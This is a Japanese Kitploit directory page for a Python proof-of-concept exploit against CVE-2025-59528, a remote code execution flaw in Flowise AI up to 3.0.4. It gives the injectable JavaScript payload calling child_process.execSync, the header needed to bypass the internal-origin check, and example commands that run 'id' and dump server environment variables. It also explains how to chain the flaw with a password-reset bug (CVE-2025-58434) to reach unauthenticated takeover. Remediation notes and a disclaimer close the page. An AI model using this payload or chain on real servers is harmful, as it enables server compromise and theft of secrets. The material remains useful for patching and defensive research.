Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Flowise-RCE-CVE-2025-59528 — CVE-2025-59528 の Python PoC エクスプロイト。customMCP エンドポイントと Node.js の child_process.execSync を介して、Flowise AI <= 3.0.4 で認証済み RCE を達成します。 | Kitploit
ツール/GitHubGitHub/arensballiu/flowise-rce-cve-2025-59528
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubarensballiu/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

CVE-2025-59528 の Python PoC エクスプロイト。customMCP エンドポイントと Node.js の child_process.execSync を介して、Flowise AI <= 3.0.4 で認証済み RCE を達成します。

リポジトリを見る
1231ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-59528 - Flowise AI 認証済みリモートコード実行 (RCE)

概要

CVE ID: CVE-2025-59528
影響を受けるソフトウェア: Flowise AI
脆弱なバージョン: <= 3.0.4
修正バージョン: 3.0.5 以降
深刻度: 重大
作者: arensballiu
日付: 2025

説明

Flowise AI のバージョン 3.0.4 以下では、細工された JavaScript ペイロードを /api/v1/node-load-method/customMCP エンドポイントに送信することで、認証済みユーザーがホストサーバー上でリモートコード実行 (RCE) を達成できる脆弱性があります。

customMCP ノードのロードメソッドは、適切なサニタイズやサンドボックス化なしに、サーバー側で JavaScript として評価されるユーザー制御の入力を受け入れます。Node.js の child_process.execSync を利用するペイロードを注入することで、攻撃者は Flowise サーバープロセスの権限で任意のオペレーティングシステムコマンドを実行できます。

このエンドポイントでは、x-request-from: internal ヘッダーが存在することも必要です。

影響を受けるエンドポイント

エンドポイントメソッド認証要否目的
/api/v1/auth/loginPOST不要認証してセッションを取得
/api/v1/node-load-method/customMCPPOST必要 (セッション Cookie)脆弱なノードロードメソッドエンドポイント

概念実証

ファイル: CVE-2025-59528_POC.py

要件

  • Python 3.x
  • requests ライブラリ
  • 対象の Flowise インスタンス上の任意のユーザーアカウントの有効な認証情報
pip install requests

使用方法

python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

引数

フラグロング形式必須説明
-e--emailはい認証済みユーザーのメールアドレス
-i--urlはいFlowise インスタンスのベース URL
-p--passwordはい認証済みユーザーのパスワード
-c--cmdはいサーバー上で実行する OS コマンド

使用例

コード実行の確認:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

サーバー環境変数を取得する:

python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

期待される出力

[+] Logged in
[+] Exploit sent
[+] Status: 200

ペイロードの内訳

このエクスプロイトは、次の JavaScript 式を mcpServerConfig フィールドに注入します:

({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') - Node.js の組み込みプロセス実行モジュールを読み込みます。
  • execSync('<command>') - 攻撃者が指定した OS コマンドを同期的に実行します。
  • 式全体はオブジェクトリテラルでラップされ、サーバーの JavaScript コンテキスト内で問題なく評価されることが保証されます。

また、x-request-from: internal ヘッダーがリクエストに付加され、これがない場合に呼び出しをブロックする内部オリジンチェックを通過します。

根本原因

customMCP エンドポイントは、ユーザーが指定した入力をサニタイズやサンドボックス化なしでサーバー上の JavaScript 評価コンテキストへ直接渡します。これに process.mainModule.require を介した Node.js コアモジュール(特に child_process)への無制限アクセスが組み合わさることで、容易に悪用可能な RCE ベクターが生じます。x-request-from ヘッダーチェックは、信頼できるソースに対して検証されないため、実質的なセキュリティ境界を提供しません。

CVE-2025-58434 との連鎖

これら 2 つの脆弱性は、バージョン <= 3.0.4 の Flowise インスタンスに対して、未認証の RCE 攻撃パスとして連鎖させることができます。

  1. CVE-2025-58434 を使用して、既知の任意のアカウントのパスワードをリセットします(事前認証は不要)。
  2. 新たに設定した認証情報でログインします。
  3. CVE-2025-59528 を使用して、サーバー上で任意の OS コマンドを実行します。

修復

  • Flowise AI 3.0.5 以降にアップグレードしてください。これにより、脆弱な評価パスが削除されるか適切にサンドボックス化されます。
  • サーバーサイドのコンテキストで、ユーザー制御の文字列をコードとして評価しないでください。
  • 適切なサンドボックス(例: vm2、分離コンテキスト、または process.mainModule へのアクセス除去)を介して、危険な Node.js モジュール(child_process、fs など)へのアクセスを制限してください。
  • x-request-from ヘッダーは、単純な文字列チェックではなくサーバーサイドのメカニズムを通じて検証および認証してください。
  • Flowise サーバープロセスに最小権限の原則を適用してください。

免責事項

この概念実証は、教育および許可されたセキュリティ研究目的のみに提供されています。明示的な書面による許可なくシステムに対してこのスクリプトを使用することは、違法かつ非倫理的です。作者および貢献者は、悪用について一切の責任を負いません。

ツールをダウンロード